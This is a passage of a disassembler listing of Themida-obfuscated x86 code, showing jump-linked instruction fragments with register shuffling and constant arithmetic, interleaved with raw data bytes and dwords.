db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_575127: ; CODE XREF: Themida_:00571C10j
sub esi, 4
push esi
push dword ptr [esp+4]
jmp loc_5643FA
; ---------------------------------------------------------------------------
db 1
dd 2434FFF0h, 0E924348Bh, 0FFFF3DDDh
; ---------------------------------------------------------------------------
loc_575144: ; CODE XREF: Themida_:0056B63Ej
sub dword ptr [esp], 202F57E2h
pop esi
add esi, 202F57E2h
mov eax, esi
pop esi
push dword ptr [esp]
jmp loc_56A750
; ---------------------------------------------------------------------------
db 57h, 50h, 68h
dd 0C956547h, 0D6F79658h, 8FBD5596h, 0C14B953Dh, 0ED8106EDh
dd 38297A5Ah, 0FECA02E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_57517D: ; CODE XREF: Themida_:00568A66j
sub edx, 63511436h
mov ebp, [esp]
jmp loc_562A25
; ---------------------------------------------------------------------------
db 0D1h
dd 0F7C781EFh, 31363B99h, 0CB895FF9h, 83240C8Bh, 0E38104C4h
dd 31C8324Fh, 46EB81h, 0ED813000h, 1FB34C23h, 335BED81h
dd 0DD015E6Fh, 335BB850h, 0C5015E6Fh, 0E924048Bh, 0FFFF35B4h
; ---------------------------------------------------------------------------
loc_5751C8: ; CODE XREF: Themida_:005676BEj
mov ebx, 2DB6DC3h
add edx, 14354505h
add edx, ebx
sub edx, 14354505h
jmp loc_575FDB
; ---------------------------------------------------------------------------
dd 0BB45059h, 6658E328h, 52E2B652h, 0C3802CB2h, 80D328BBh
dd 148BBBEBh, 4C48324h, 0FF069AE9h, 557FBDFFh, 0FAE942F1h
dd 5CFFFF49h, 1AA86851h, 14890000h, 0E0895024h, 405h, 4E88300h
dd 0FF08ACE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_575225: ; CODE XREF: Themida_:00563F07j
pop ebp
mov esi, edx
mov edx, [esp]
jmp loc_574238
; ---------------------------------------------------------------------------
dd 24148B5Fh, 4C481h, 0DAE90000h, 0E9FFFEF9h, 0FFFEBDFEh
; ---------------------------------------------------------------------------
loc_575244: ; CODE XREF: Themida_:00565F4Aj
xor bh, 0A4h
sub bh, 70h
sub bh, 7Eh
sub al, bh
jmp loc_56A1C7
; ---------------------------------------------------------------------------
dd 0E95AD689h, 0FFFEEC13h
; ---------------------------------------------------------------------------
loc_57525C: ; CODE XREF: Themida_:00571780j
push 42AF58EDh
mov ecx, [esp]
add esp, 4
sub edi, ecx
pop ecx
jmp loc_5622EF
; ---------------------------------------------------------------------------
db 29h
dd 424A2DF0h, 39E926C6h, 56FFFFF0h, 7B61BFBEh, 27CE813Fh
dd 461AE506h, 0DEF7EED1h, 0E904E6C1h, 0FFFF1C8Fh, 8704C083h
dd 665C2404h, 5124148Bh, 4EC81h, 0AE90000h, 5AFFFF35h
dd 122CE581h, 1C681431h, 8900007Dh, 0E1B9240Ch, 0E9CB57E8h
dd 0FFFFCE72h, 0C5C4E953h, 0F8B8FFFFh, 407E327Eh, 4B0DD8F7h
dd 2D48C733h, 7AF46A7Dh, 0F1BD9135h, 0AFBEE94Eh, 0C15EFFFFh
dd 0E3E904EAh, 8BFFFFF8h, 0F662424h, 9C2404B3h, 0FEBD45E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5752FD: ; CODE XREF: Themida_:0056FCF7j
not esi
xchg esi, edx
xor ebx, edx
jmp loc_561FB3
; ---------------------------------------------------------------------------
dd 2474FF56h, 37CCE904h, 805AFFFFh, 9BE957C3h, 8BFFFF07h
dd 0C4812404h, 4, 147CE9h, 24143300h, 2924248Bh, 2434FFE8h
dd 0FF2434FFh, 835D2434h, 0C48304C4h, 4C48104h, 56000000h
dd 3F4C68h, 242C8900h, 0FF0FFDE9h, 0BCE8E9FFh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_57535A: ; CODE XREF: Themida_:0056BECFj
mov eax, [esp]
add esp, 4
add edx, 4
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push edx
jmp loc_56C8C5
; ---------------------------------------------------------------------------
dw 0B753h
dd 5BFE8881h, 0FE88C680h, 0EF1FE9C6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57538E: ; CODE XREF: Themida_:0056DE8Cj
dec ecx
and ecx, 5F252AE3h
xor ecx, 1D651511h
jmp loc_57269C
; ---------------------------------------------------------------------------
dd 31242C33h, 2C33242Ch, 24248B24h, 0FFA7E7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5753B1: ; CODE XREF: Themida_:00574A9Fj
push ebp
mov ebp, 70EC5ABDh
not ebp
xor ebp, 8055F896h
mov eax, ebp
pop ebp
jmp loc_561AC6
; ---------------------------------------------------------------------------
db 89h
dd 5051242Ch, 1C1E9h
db 0
; ---------------------------------------------------------------------------
loc_5753D1: ; CODE XREF: Themida_:005617B7j
add ecx, ebp
pop ebp
xor ecx, 9DDE57C4h
add edx, ecx
mov ecx, [esp]
jmp loc_56B3C1
; ---------------------------------------------------------------------------
loc_5753E4: ; CODE XREF: Themida_:00574A20j
add edi, 1FFC1A07h
push ecx
mov ecx, 3DAC0BEDh
sub edi, 5FA72A87h
sub edi, ecx
add edi, 5FA72A87h
pop ecx
xor esi, edi
pop edi
push esi
add dword ptr [esp], 56921174h
pop edi
sub edi, 56921174h
mov esi, [esp]
push 1442h
mov [esp], eax
mov eax, esp
push edi
mov edi, 67894C42h
neg edi
jmp loc_56473F
; ---------------------------------------------------------------------------
loc_57542B: ; CODE XREF: Themida_:00566978j
sub eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_57395F
; ---------------------------------------------------------------------------
db 88h, 22h, 8Bh
dd 0C4812414h, 4, 2434FF58h, 0FF3179E9h, 241487FFh, 240C895Ch
dd 0FFF7F0E9h, 146858FFh, 8900003Ah, 58542404h, 384E68h
dd 24148900h, 0FF2073E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_575471: ; CODE XREF: Themida_:005707EBj
mov bh, 0C1h
sub ah, bh
pop bx
sub ah, 0F4h
jmp loc_5656A5
; ---------------------------------------------------------------------------
loc_57547F: ; CODE XREF: Themida_:00564A89j
push edx
mov dh, 0A0h
mov cl, 0A1h
sub cl, dh
pop edx
jmp loc_5617F5
; ---------------------------------------------------------------------------
loc_57548C: ; CODE XREF: Themida_:0056F198j
sub esp, 4
mov [esp], ebp
jmp loc_56BCE0
; ---------------------------------------------------------------------------
loc_57549A: ; CODE XREF: Themida_:005764C6j
add ebp, ebx
pop ebx
add ebp, 4
xor ebp, [esp]
jmp loc_56B74D
; ---------------------------------------------------------------------------
db 5Bh
dd 8124148Bh, 4C4h, 242C8700h, 0E924248Bh, 0FFFEBB82h
dd 0E92434FFh, 0FFFF4755h, 0E904C483h, 0FFFFF286h, 24045A66h
dd 0FEDE83E9h, 0C5815DFFh, 4, 8704C583h, 0E95C242Ch, 0FFFF629Bh
dd 0BC07E959h, 2C31FFFEh, 242C3324h, 642E9h, 0CBE94E00h
db 0E6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_575503: ; CODE XREF: Themida_:00564364j
mov ebx, [esp]
add esp, 4
push 3439h
mov [esp], ecx
push eax
mov ah, 84h
shr ah, 1
shr ah, 5
push dx
mov dh, 0FFh
sub ah, dh
mov dx, [esp]
add esp, 2
push ebx
jmp loc_564C42
; ---------------------------------------------------------------------------
loc_57552C: ; CODE XREF: Themida_:0056C068j
mov esi, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_561042
; ---------------------------------------------------------------------------
dd 0E94D5A58h, 0FFFFBAA2h, 895DE801h, 64BD58C2h, 81FA8896h
dd 71200EEDh, 68D5015Bh, 21CDh, 0FF99FAE9h, 14875BFFh
dd 0D0315C24h, 0E924148Bh, 0FFFF05C4h
; ---------------------------------------------------------------------------
loc_575574: ; CODE XREF: Themida_:005688BCj
mov esp, [esp]
jmp loc_56FF76
; ---------------------------------------------------------------------------
dd 148BF730h, 4C48124h, 51000000h, 0CF301FB1h, 8C84E959h
dd 0F268FFFFh, 8B64CC39h, 0C4832404h, 5C14E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5755A2: ; CODE XREF: Themida_:00562FF9j
and eax, edx
pop edx
shr eax, 0Eh
xor eax, ecx
jmp loc_568BF5
; ---------------------------------------------------------------------------
loc_5755AF: ; CODE XREF: Themida_:005733ADj
xor ebp, [esp]
jmp loc_569C9D
; ---------------------------------------------------------------------------
db 0BFh
dd 4, 0E95FF901h, 0FFFFB9C2h, 0CBE68158h, 50162B26h, 6D56D1B8h
dd 40D8F718h, 3098BB53h, 0EBD11181h, 76D1E381h, 0CFE95E09h
dd 59FFFFF2h, 148BF400h, 4C48124h, 68000000h, 58ACh, 53240C89h
dd 0FD88E788h, 8BEF885Bh, 0C481240Ch, 4, 8324048Bh, 526604C4h
dd 0D0281FB2h, 24148B66h, 81E18951h, 4C1h, 0D9E95000h
db 31h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57562B: ; CODE XREF: Themida_:0056DC46j
mov [esp], edx
jmp loc_56C356
; ---------------------------------------------------------------------------
db 88h
dd 1AE0E9D5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57563A: ; CODE XREF: Themida_:0056EE83j
add edx, edi
jmp loc_56E718
; ---------------------------------------------------------------------------
loc_575641: ; CODE XREF: Themida_:0056E7DCj
sub dword ptr [esp+4], 160B32DDh
add [esp+4], edx
jmp loc_56DF42
; ---------------------------------------------------------------------------
dw 0E689h
dd 0FF4B8FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_575659: ; CODE XREF: Themida_:005654A8j
mov dl, 2Fh
add bl, dl
mov dx, [esp]
add esp, 2
sub bl, 0A9h
add bl, al
add bl, 0A9h
push 6592h
mov [esp], eax
jmp loc_5707DE
; ---------------------------------------------------------------------------
db 5Bh, 0FFh, 34h
dd 2434FF24h, 0FF1CCAE9h, 0B2C380FFh, 24048B66h, 0FEF82AE9h
dd 4C181FFh, 53000000h, 0FEE9B4E9h, 3877FFFFh, 0FF12F6E9h
dd 4C781FFh, 0E9000000h, 0FFFEC19Ah, 0DF1049BAh, 0EC83422Dh
dd 242C8904h, 0E7290EBDh, 9DE6E962h, 0C781FFFFh, 4, 4EF81h
dd 88E90000h, 89FFFF8Dh, 0E368241Ch, 0E9000079h, 0FFFFF5D3h
dd 0DA0ABCBFh, 5FF82155h, 0FECC79E9h, 4C483FFh, 88FD8851h
dd 1C8B59EAh, 73E76824h, 0D0E90000h, 0E9FFFFFFh, 0FFFEB936h
dd 0CD3CF181h, 0CA899F76h, 8B2434FFh, 0CDE9240Ch, 0BFFFFFCDh
dd 37CA0A8Bh, 1495E781h, 0E781352Ch, 0CA15203h, 0FEE3F6E9h
dd 43B2FFh, 0E071E9D4h, 65B8FFFFh, 5308ED53h, 125E6851h
dd 81593D99h, 6A2C3CE9h, 97F1815Bh, 898489DAh, 0DBF759CBh
dd 0BA52h, 0B2E90000h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_575767: ; CODE XREF: Themida_:005622EAj
push 6073h
mov [esp], ecx
sub esp, 4
mov [esp], eax
sub esp, 4
jmp loc_56408D
; ---------------------------------------------------------------------------
loc_57577D: ; CODE XREF: Themida_:005744D4j
mov edx, 1Ch
sub esp, 4
mov [esp], esi
mov esi, 64A033E4h
sub edx, esi
push dword ptr [esp]
pop esi
jmp loc_563842
; ---------------------------------------------------------------------------
dd 0A49C505h, 4EC831Eh, 0E9243C89h, 0FFFEFE99h, 782462BFh
dd 3E7C123h, 778FC781h, 0E7815EEDh, 4D1965F2h, 5104EFC1h
dd 283083B9h, 36C6E95Ah, 0F759FFFFh, 0CB814BDBh, 16CD2FD3h
dd 2414F753h, 9DEB815Bh, 29249818h, 0F3015BDEh, 0FFDF895Eh
dd 835B2434h, 0E95604C4h, 0FFFFEF49h
; ---------------------------------------------------------------------------
loc_5757F4: ; CODE XREF: Themida_:0056885Aj
pop ecx
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
db 61h
dd 48B66C3h, 15136824h, 1C890000h, 34FF5424h, 89535B24h
dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 0EF3685Ch, 14890000h
dd 5BF1BA24h, 0B9513C49h, 3A760CBCh, 0FFDD2BE9h, 0B804E9FFh
dd 0E981FFFEh, 1, 0C181D9F7h, 5603DE3h, 0E78DF181h, 0C8299D51h
dd 241C8B59h, 5704C483h, 0E046850h, 34FF3FE4h, 24048B24h
dd 8304C483h, 54004C4h, 23ED28A8h, 0FF1B30E9h, 0E7CF81FFh
dd 81615953h, 7C2492E7h, 0E94F4722h, 0FFFFBB65h
; ---------------------------------------------------------------------------
loc_57588C: ; CODE XREF: Themida_:00567BC9j
pop esi
and edx, 5D3301E1h
neg edx
push edi
mov edi, 78333547h
push ebp
mov ebp, 5C441F7Dh
jmp loc_571101
; ---------------------------------------------------------------------------
dw 2968h
dd 8900000Ch, 4BD242Ch, 0E9000000h, 0FFFF69AAh
; ---------------------------------------------------------------------------
loc_5758B8: ; CODE XREF: Themida_:0056A1D3j
mov [esp], ecx
mov ecx, esp
push esi
mov esi, 4
jmp loc_56F912
; ---------------------------------------------------------------------------
dd 4D0EBA52h, 18E901B2h
db 0CBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5758D3: ; CODE XREF: Themida_:005731C2j
pop esi
jmp loc_5620EE
; ---------------------------------------------------------------------------
db 68h, 20h, 34h
dd 0E95B1E82h, 0FFFFBDFCh, 9C240CD2h, 0FFA11EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5758ED: ; CODE XREF: Themida_:00571B6Aj
sub esp, 4
mov [esp], ebp
mov ebp, 4
sub dword ptr [esp+4], 5BA74757h
add [esp+4], ebp
push edx
jmp loc_56CBED
; ---------------------------------------------------------------------------
loc_57590D: ; CODE XREF: Themida_:00561305j
pop esp
dec edi
not edi
add edi, 54D51FCBh
jmp loc_567841
; ---------------------------------------------------------------------------
dd 0F7F7805Ah, 8B04402Ch, 0FFB8DFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_575929: ; CODE XREF: Themida_:005620E9j
mov eax, 4
add edi, eax
pop eax
sub edi, 4
jmp loc_5737D8
; ---------------------------------------------------------------------------
db 29h, 0D8h, 0E9h
dd 0FFFFB73Bh, 348DE95Dh, 0E95DFFFFh, 0FFFFE206h, 2414F752h
dd 5224148Bh, 0FF259BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_575959: ; CODE XREF: Themida_:00564559j
xor [esp+4], edi
jmp loc_575C75
; ---------------------------------------------------------------------------
dw 0C89h
dd 0C8B5424h, 77E95724h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57596F: ; CODE XREF: Themida_:00570F56j
sub bl, dl
mov dx, [esp]
add esp, 2
sub bl, 0ACh
sub bl, al
push cx
mov cl, 0ACh
add bl, cl
pop cx
push eax
mov al, 5Bh
push dx
mov dh, 39h
add al, dh
pop dx
xor al, 0B4h
push eax
push ebx
mov bl, 93h
push ecx
jmp loc_572340
; ---------------------------------------------------------------------------
dd 468h, 0C3815900h, 7A9B34D6h, 2507C381h, 7E90164h, 56FFFF29h
dd 0BF57E689h, 38EE322Dh, 0F781D7F7h, 0C711CDD6h, 535FFE01h
dd 0CB1089BBh, 0BE56572Eh, 299752F4h, 5E5192BFh, 5EF73172h
dd 0EF81DFF7h, 7CFC09D4h, 0E781DFF7h, 430F4472h, 462AE947h
dd 8B66FFFFh, 8953240Ch, 0A5E952E3h, 0E9FFFEDDh, 0FFFEB63Eh
; ---------------------------------------------------------------------------
loc_575A04: ; CODE XREF: Themida_:0056A753j
pop ebx
add esp, 4
jmp loc_568DFB
; ---------------------------------------------------------------------------
loc_575A10: ; CODE XREF: Themida_:00565584j
neg bh
push cx
mov ch, 0B4h
xor bh, ch
pop cx
jmp loc_56E902
; ---------------------------------------------------------------------------
loc_575A1F: ; CODE XREF: Themida_:0056A820j
sub edi, ebx
pop ebx
jmp loc_56D5A9
; ---------------------------------------------------------------------------
loc_575A27: ; CODE XREF: Themida_:0056AED8j
sub [esp], eax
mov eax, [esp]
add esp, 4
sub eax, 0AD73D3F2h
mov ebp, eax
pop eax
and eax, ebp
jmp loc_57356B
; ---------------------------------------------------------------------------
loc_575A3F: ; CODE XREF: Themida_:00573114j
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
push 3071h
mov [esp], esp
add dword ptr [esp], 4
pop edx
jmp loc_56B59D
; ---------------------------------------------------------------------------
dd 0A12CC828h, 0E9C7B252h, 0FFFEF0E9h, 68D831ADh, 64B3h
dd 0E9243C89h, 0FFFED88Ch, 68049504h, 34FFDD2Ch, 0E9515924h
dd 0FFFFF4B5h, 0FEE9F889h, 0B9FFFF40h, 4204E91h, 8159CA21h
dd 0D90E38EAh, 0DCEF819Eh, 817EA961h, 241B0EC7h, 63EF810Eh
dd 1541F27h, 63C781D7h, 81541F27h, 241B0EEFh, 0DCC7810Eh
dd 5A7EA961h, 687EC781h, 0B8501D9Bh, 5E55D29h, 2638770Dh
dd 218B0D35h, 0D8F72CAFh, 120C4A35h, 58C7012Eh, 13AE9h
dd 0E9E38800h, 0FFFF556Eh, 6824248Bh, 37AFh, 0E9241C89h
dd 0FFFFB128h
; ---------------------------------------------------------------------------
loc_575B0C: ; CODE XREF: Themida_:005741FCj
mov ebp, [esp]
add esp, 4
push edx
mov edx, esp
push edi
push ebx
mov ebx, 1854234Dh
jmp loc_56FEAA
; ---------------------------------------------------------------------------
loc_575B24: ; CODE XREF: Themida_:0057221Bj
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_56B4D0
; ---------------------------------------------------------------------------
db 0BAh, 4, 0
dd 77E90000h, 5CFFFEC2h, 0BD242C89h, 0
dd 272AED81h, 0B5E92234h, 81FFFEF2h, 0F63130F6h, 54A8E934h
dd 0C281FFFFh, 4, 4BF57h, 0C2810000h, 790759D5h, 0FF2A4AE9h
dd 81F901FFh, 0E22EEDE9h, 2DD8E963h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_575B82: ; CODE XREF: Themida_:00564B09j
add ecx, 4
xchg ecx, [esp]
pop esp
push edi
mov edi, 0C38794Dh
jmp loc_567DF5
; ---------------------------------------------------------------------------
loc_575B94: ; CODE XREF: Themida_:00572E20j
add esi, 40D44573h
jmp loc_56792F
; ---------------------------------------------------------------------------
db 87h
dd 895C2404h, 74FF2404h, 34FF0424h, 89515824h, 0C35DE9E1h
dd 0F381FFFFh, 0A92E80A1h, 41E9DF89h, 29FFFF21h, 59CF87F9h
dd 5107E7C1h, 0B7488B9h, 59CF292Ch, 3DACEF81h, 0EF811EFFh
dd 784F7257h, 9071EF81h, 0FE01937Ch, 2434335Fh, 33243431h
dd 15E92434h
db 55h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_575BF7: ; CODE XREF: Themida_:005632E4j
push edi
pop ecx
push dword ptr [esp]
pop edi
add esp, 4
and eax, ecx
push dword ptr [esp]
jmp loc_5719AD
; ---------------------------------------------------------------------------
dw 895Ch
dd 0EABE2434h, 81424A2Ah, 2911BBC3h, 56F3017Dh, 0B73F81BEh
dd 3AF68174h, 29099E2Eh, 11E95EF3h, 1FFFF7Fh, 2434FFFDh
dd 4C4815Fh, 0E9000000h, 0FFFF74CAh, 1A5768h, 240C8900h
dd 337FB1B9h, 17C68118h, 103FB72h, 17EE81CEh, 5903FB72h
dd 0EE81FE01h, 18337FB1h, 53243C8Bh, 0C381E389h, 4, 0FFAE10E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_575C75: ; CODE XREF: Themida_:0057595Dj
mov edi, [esp]
add esp, 4
jmp loc_574A3C
; ---------------------------------------------------------------------------
db 1
dd 0FF6659C8h, 0B3B4E930h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_575C8E: ; CODE XREF: Themida_:0056400Cj
mov dl, bh
mov cl, dl
jmp loc_56AC75
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 4EC8100h, 89000000h, 0A1BD242Ch, 5576A853h, 242C8B51h
dd 4C481h, 0E9590000h, 0FFFFAF2Eh
; ---------------------------------------------------------------------------
loc_575CBC: ; CODE XREF: Themida_:0056EF5Aj
mov [esp], esp
add dword ptr [esp], 4
jmp loc_568CF8
; ---------------------------------------------------------------------------
a1slH6 db '1é‹,$h(6',0
align 2
dw 1489h
dd 57E28924h, 4BFh, 0C9FAE900h, 0C101FFFFh, 0FEE211E9h
dd 5E6C1FFh, 0FFB4B9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_575CF1: ; CODE XREF: Themida_:00574216j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
or eax, eax
jz loc_568D4D
push 3B30h
jmp loc_567789
; ---------------------------------------------------------------------------
dd 4EC81h, 34890000h, 52E68924h, 0FF03E1E9h, 1C281FFh
dd 5B0D9444h, 0A9EFE956h, 5954FFFFh, 0FF260CE9h, 99C480FFh
dd 0EC80C4FEh, 8BE38877h, 0C4832404h, 66C3FE04h, 3018B652h
dd 0E95A66F3h, 0FFFED4F8h, 6759CF81h, 0F781539Ch, 73FF777Dh
dd 0E95755h
db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_575D67: ; CODE XREF: Themida_:00569863j
sub ebx, ecx
jmp loc_574AA4
; ---------------------------------------------------------------------------
dw 8B66h
dd 0EC81240Ch, 4, 50242C89h, 4CE9E089h, 54FFFEE7h, 4DBE5659h
dd 81028732h, 450A89E6h, 0FBC68138h, 1FFFAFDh, 0C181E9F1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_575D9E: ; CODE XREF: Themida_:00574C92j
push 79FFh
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_573C8B
; ---------------------------------------------------------------------------
loc_575DC6: ; CODE XREF: Themida_:0056F1E8j
mov ebx, [esp]
add esp, 4
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
jmp loc_563181
; ---------------------------------------------------------------------------
db 0B9h
dd 4, 5CFCBA52h, 78E9470Fh, 54FFFF5Ah, 81241C8Bh, 4C4h
dd 4C26800h, 4890000h, 7D556824h, 2C890000h, 5251E924h
dd 0FF5DFFFFh, 835A2434h, 0C8904ECh, 0E9595424h, 0FFFF569Dh
dd 0FEB221E9h, 81FB01FFh, 0EC43ACEBh, 243C8B5Ch, 4C481h
dd 1C330000h, 0CC5E924h, 3C8B0000h, 4C48324h, 5D1C6F09h
dd 0B9515253h, 5710475h, 5759CA89h, 7830AABFh, 247C011Eh
dd 54295F08h, 46E90424h, 0F6FFFEE4h, 0C0E680D6h, 0FFF0F7E9h
dd 96BA52FFh, 0E9523738h, 0FFFF6C10h, 5204C483h, 5D7DBD55h
dd 13BA3C0Dh, 0E9176F57h, 0FFFFAF58h, 5DE9315Fh, 0BFE9CA01h
dd 80FFFF68h, 0E95BA7C4h, 0FFFEC8A1h
; ---------------------------------------------------------------------------
loc_575EA0: ; CODE XREF: Themida_:00568430j
pop ebp
push 16C7h
mov [esp], ebx
pop ebp
jmp loc_569BE2
; ---------------------------------------------------------------------------
db 89h
dd 0E589242Ch, 4BE56h, 0C5810000h, 3B716965h, 0FFD56DE9h
dd 24148BFFh, 5304C483h, 2B850h, 0C3890000h, 0EC9EE958h
dd 0E9C1FFFFh, 2CF18103h, 8169EE4Bh, 231659F1h, 0B21DE943h
dd 4FE9FFFEh, 5EFFFEB1h, 0FF5554E9h, 243C87FFh, 461E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_575F02: ; CODE XREF: Themida_:005734FBj
xor edx, edx
push edi
push ebx
push dword ptr [esp]
pop edi
jmp loc_5690FE
; ---------------------------------------------------------------------------
db 1
dd 0D0E1E9F0h, 487FFFFh, 0EE295C24h, 50C6015Dh, 0FF67BEE9h
dd 0BBEB9FFh, 7D6849D0h, 8900007Eh, 0CFBA2414h, 1523E5Ah
dd 0E9C15AD1h, 0CBE94107h
db 42h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_575F43: ; CODE XREF: Themida_:00570285j
add ecx, edx
pop edx
push 2C92h
jmp loc_56DFA5
; ---------------------------------------------------------------------------
loc_575F50: ; CODE XREF: Themida_:0056C2D8j
add bl, cl
pop ecx
sub bl, cl
sub bl, 7Ch
mov cx, [esp]
push ebx
mov ebx, esp
jmp loc_563EDD
; ---------------------------------------------------------------------------
dd 8106EBC1h, 0C428C0F3h, 468AE918h, 3487FFFFh, 551E924h
dd 0C4810000h, 4, 0FFCC31E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_575F85: ; CODE XREF: Themida_:0056568Aj
sub ecx, 0CDDA7977h
xor eax, ecx
pop ecx
xor ecx, eax
pop eax
mov eax, ecx
pop ecx
shl eax, cl
sub esp, 4
jmp loc_56C607
; ---------------------------------------------------------------------------
dw 0EE80h
dd 8BF7303Fh, 0C4832414h, 0E96A0404h, 0FFFF3997h, 8102E7C1h
dd 1505C4EFh, 5FFB0165h, 2BF57h, 0FB010000h, 0FF08D4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_575FC9: ; CODE XREF: Themida_:00569EE6j
add esi, ebx
pop ebx
push edi
jmp loc_571770
; ---------------------------------------------------------------------------
dw 5Ah
dd 76E958C1h
db 20h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_575FDB: ; CODE XREF: Themida_:005751DBj
pop ebx
sub edx, 82B563Eh
add edx, esi
add edx, 82B563Eh
sub edx, 2DB6DC3h
mov esi, [esp]
add esp, 4
push esi
mov esi, 4
add edx, esi
jmp loc_568570
; ---------------------------------------------------------------------------
dw 0E957h
dd 0FFFECC91h, 0EE86ED81h, 84E9B96Ch
db 34h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_576017: ; CODE XREF: Themida_:005731F0j
xor eax, ecx
xor eax, edx
xor edx, eax
xor eax, edx
xchg edi, edx
not edi
push edx
push 1D52h
mov [esp], edi
jmp loc_5739A3
; ---------------------------------------------------------------------------
db 81h, 0C1h, 57h
dd 14E3F69h, 57E981C1h, 584E3F69h, 0E959CA01h, 0FFFF8B2Ah
; ---------------------------------------------------------------------------
loc_576048: ; CODE XREF: Themida_:0056F031j
pop esp
xor edi, edx
pop edx
not edi
and edi, 59D1A49h
sub edi, 9C0249h
jmp loc_573753
; ---------------------------------------------------------------------------
db 4Dh
dd 8103EDC1h, 0A07415EDh, 8BEA31E3h, 0C483242Ch, 8BD70104h
dd 89512414h, 4C181E1h, 83000000h, 0C8704C1h, 0BE565C24h
dd 2, 0FFC619E9h, 48B66FFh, 0E1895124h, 7908BD55h, 0EC8136ABh
dd 4, 0E9241C89h, 0FFFF6D90h, 0E9241C31h, 0FFFF355Ch, 4BD55h
dd 45E90000h, 5BFFFF54h, 4247C29h, 4246C81h, 7EE0203h
dd 4244481h, 65EF5986h, 7BF2BA52h, 4EE956CBh, 31FFFED3h
dd 4332404h, 24248B24h, 5FC368h, 24348900h, 0FF3802E9h
dd 4C483FFh, 8335E952h, 0BA52FFFFh, 2, 0EBE9D501h, 59FFFF9Fh
dd 4E9FB29h, 0FFFFFEC2h, 589D1C77h, 9C240411h, 0FEAF21E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_576121: ; CODE XREF: Themida_:005635B1j
pop edx
push esi
push 6F2F2618h
pop esi
shr esi, 2
sub esp, 4
jmp loc_576290
; ---------------------------------------------------------------------------
loc_576134: ; CODE XREF: Themida_:00569F3Ej
pop esp
jmp loc_56FF94
; ---------------------------------------------------------------------------
dw 0F681h
dd 5BEC7B93h, 0C105E6C1h, 0C68102EEh, 6733A9Bh, 0C15EF531h
dd 6AE908EDh, 8BFFFEB2h, 0C4812414h, 4, 4EB4C281h, 0EA016A34h
dd 0FFBA8EE9h, 428EBBFFh, 0EB811555h, 94B0550h, 0FF56C0E9h
dd 0E95251FFh, 540h, 6086E981h, 0C1817021h, 669B629Bh
dd 65BBE181h, 0B8503844h, 67112E73h, 0FFDC0DE9h, 148B66FFh
dd 4EC8124h, 0E9000000h, 0FFFFF7B2h
; ---------------------------------------------------------------------------
loc_5761B0: ; CODE XREF: Themida_:0056A499j
add edx, 4
push edi
mov edi, 4
jmp loc_570AAA
; ---------------------------------------------------------------------------
loc_5761C1: ; CODE XREF: Themida_:00564BC6j
mov bh, cl
pop ecx
mov al, bh
mov ebx, [esp]
add esp, 4
mov bh, al
mov eax, [esp]
add esp, 4
push ecx
push 7F28h
jmp loc_564009
; ---------------------------------------------------------------------------
db 50h, 0B8h, 0BDh
dd 297AA364h, 0BD5558C1h, 28277425h, 567EED81h, 0E931AF54h
dd 81242C8Bh, 4C4h, 0E9CE3100h, 0FFFEB44Ah, 5259CB09h
dd 6E5FBBBAh, 4EC28101h, 0E905BB76h, 0FFFFB103h, 8B1C4F21h
dd 0C483240Ch, 0AE14E904h, 0D829FFFEh, 1C54E953h, 34FFFFFFh
dd 2F18E924h, 48BFFFFFh, 8164C06Ch, 333E3AE7h, 6BD5512h
dd 2900002Ch, 312D5DEFh, 0E9011A64h, 0FFFF3F03h, 24048F5Ch
dd 0FF98E9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_576265: ; CODE XREF: Themida_:0056352Bj
pop dword ptr [esp]
push esi
mov esi, 4
sub dword ptr [esp+4], 59A66971h
add [esp+4], esi
jmp loc_5728B9
; ---------------------------------------------------------------------------
db 31h
dd 14332414h, 24248B24h, 0E904EC83h, 0FFFECDCFh
; ---------------------------------------------------------------------------
loc_576290: ; CODE XREF: Themida_:0057612Fj
mov [esp], ebp
